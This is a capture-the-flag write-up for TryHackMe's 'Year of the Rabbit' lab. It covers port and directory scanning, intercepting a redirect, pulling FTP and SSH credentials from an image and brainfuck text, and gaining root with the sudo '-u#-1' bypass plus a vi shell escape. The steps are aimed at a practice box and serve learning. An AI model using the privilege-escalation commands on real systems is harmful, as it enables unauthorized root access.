# PLATFORM . THM# CTF NAME . Year of the Rabbit# DESCRIPTION . Time to enter the warren...# DIFFICULTY . Easy# CTF LINK . https://tryhackme.com/room/yearoftherabbit
sudo nmap -sSVC -T5 10.10.130.97 -p- -oN year
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.222/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)| ssh-hostkey:| 1024 a08b6b7809390332ea524c203e82ad60 (DSA)| 2048 df25d0471f37d918818738763092651f (RSA)| 256 be9f4f014a44c8adf503cb00ac8f4944 (ECDSA)|_ 256 dbb1c1b9cd8c9d604ff198e299fe0803 (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))|_http-title: Apache2 Debian Default Page: It works|_http-server-header: Apache/2.4.10 (Debian)Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
- There’s nothing much I could do with this information, so I fuzzed the webserver using
ffuf
.
ffuf -u http://10.10.130.97/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
assets [Status: 301, Size: 313, Words: 20, Lines: 10]
-
Inside
/assets
, we haveRickRolled.mp4
and a.css
file. -
The CSS file reveals the next step of the challenge
Nice to see someone checking the stylesheets.Take a look at the page: /sup3r_s3cr3t_fl4g.php
-
If we navigate to
ip/sup3r_s3cr3t_fl4g.php
, we get the following message:Word of advice... Turn off your javascript...
and then we’re redirected to the next hint. -
I didn’t wanted to bother turning off JS on my browser just yet. I tried intercepting the request in Burp Suite, and, if we capture the response, there is an additional link between
sup3r_s3cr3t_fl4g.php
and the final redirect.
GET /intermediary.php?hidden_directory=/WExYY2Cv-qU HTTP/1.1
-
Here, we can find a image called
Hot_Babe.png
-
I had no other hints or directions so I assumed this is involves steganography, so I’ve downloaded the file.
-
A simple
strings
reveals some useful information
Eh, you've earned this. Username for FTP is ftpuserOne of these is the password:Mou+56n%QK8sr1618B0AUshw1MA56IpIl%1s02uvTFbDzX9&Nmu?FfF~sfu^UQZmT8FF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
Eli's Creds.txt
which is in brainfuck
+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->---<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<++++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->-----<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >+++++<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++<]>+. <+++[ ->--- <]>-- ---.- ----. <
User: eliPassword: DSpDiM1wAEwid
- After sshing to the box, we see the following mail:
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE
- The path can be revealed using
find / -name s3cr3t 2>/dev/null
ls -la
.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
Your password is awful, Gwendoline.It should be at least 60 characters long! Not just {redacted}Honestly!
Yours sincerely -Root
-
So we got the password for gwendoline.. great … security :)
-
The first flag is in
/home/gwendoline/user.txt
.
User gwendoline may run the following commands on year-of-the-rabbit: (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
- This can be bypassed using this vulnerability.
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
-
After the vi opened the file, press
esc
and write:!/bin/sh
. -
The last flag is in
/root/root.txt